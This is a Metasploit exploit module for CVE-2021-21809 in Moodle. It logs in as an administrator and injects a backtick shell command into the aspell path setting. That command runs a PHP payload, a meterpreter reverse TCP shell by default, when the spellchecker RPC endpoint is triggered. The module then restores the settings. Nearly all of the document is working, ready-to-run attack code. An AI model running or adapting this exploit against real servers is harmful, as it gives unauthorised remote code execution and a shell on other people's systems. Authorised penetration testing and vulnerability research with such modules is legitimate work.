## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Moodle def initialize(info = {}) super( update_info( info, 'Name' => 'Moodle SpellChecker Path Authenticated Remote Command Execution', 'Description' => %q{ Moodle allows an authenticated administrator to define spellcheck settings via the web interface. An administrator can update the aspell path to include a command injection. This is extremely similar to CVE-2013-3630, just using a different variable. This module was tested against Moodle version 3.11.2, 3.10.0, and 3.8.0. }, 'License' => MSF_LICENSE, 'Author' => [ 'Adam Reiser', # Discovery 'h00die' # msf module ], 'References' => [ ['CVE', '2021-21809'], ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277'] ], 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' }, 'Payload' => { 'BadChars' => "'" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'DisclosureDate' => '2021-06-22', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']), ] ) end def change_aspellpath(value = '') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'vars_get' => { 'section' => 'systempaths' }, 'keep_cookies' => true }) fail_with(Failure::Unreachable, 'Error retrieving settings') unless res res.body =~ /sesskey":"([^"]+)"/ send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'vars_get' => { 'section' => 'systempaths' }, 'vars_post' => { 'section' => 'systempaths', 'action' => 'save-settings', 'sesskey' => Regexp.last_match(1), 'return' => '', 's__pathtophp' => '', 's__pathtodu' => '', 's__aspellpath' => value, 's__pathtodot' => '', 's__pathtogs' => '/usr/bin/gs', 's__pathtopython' => '' }, 'keep_cookies' => true }) end def set_spellchecker(checker = '') # '' is None in the gui, and is the default res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'vars_get' => { 'section' => 'tinymcespellcheckersettings' }, 'keep_cookies' => true }) fail_with(Failure::Unreachable, 'No response received from the target.') unless res res.body =~ /sesskey":"([^"]+)"/ res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), 'vars_get' => { 'section' => 'tinymcespellcheckersettings' }, 'vars_post' => { 'section' => 'tinymcespellcheckersettings', 'action' => 'save-settings', 'sesskey' => Regexp.last_match(1), 'return' => '', 's_tinymce_spellchecker_spellengine' => checker, 's_tinymce_spellchecker_spelllanguagelist' => '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv' # default }, 'keep_cookies' => true }) fail_with(Failure::Unreachable, 'No response received from the target.') unless res end def check return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online? v = moodle_version return CheckCode::Detected('Unable to determine moodle version') if v.nil? # according to talso advisory, 2021-04-21 - Vendor updated documentation to suggest best practices after installation # so maybe this is not going to get patched? Assuming 3.0.0+ if Rex::Version.new(v) > Rex::Version.new('3.0.0') return CheckCode::Appears("Exploitable Moodle version #{v} detected") end CheckCode::Safe("Non-exploitable Moodle version #{v} detected") end def exploit print_status("Authenticating as user: #{datastore['USERNAME']}") cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty? cookies.each do |cookie| cookie_jar.add(cookie) end print_status('Updating aspell path') # Site administration, Server, Server, System paths change_aspellpath("`php -r \"#{payload.encoded}\" &`") print_status('Changing spell engine to PSpellShell') set_spellchecker('PSpellShell') # Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}' print_status('Triggering payload') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'), 'data' => spellcheck, 'ctype' => 'application/json', 'keep_cookies' => true }) fail_with(Failure::Unreachable, 'Error triggering payload') if res end # prefer cleanup over on_session since we may have changed things, regardless of successful exploit def cleanup print_status('Sleeping 5 seconds before cleanup') Rex.sleep(5) print_status("Authenticating as user: #{datastore['USERNAME']}") cookie_jar.clear # clear cookies to prevent timeouts cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD']) if cookies.nil? || cookies.empty? print_bad('Failed login during cleanup') else cookies.each do |cookie| cookie_jar.add(cookie) end print_status('Removing RCE from settings') change_aspellpath set_spellchecker end super end end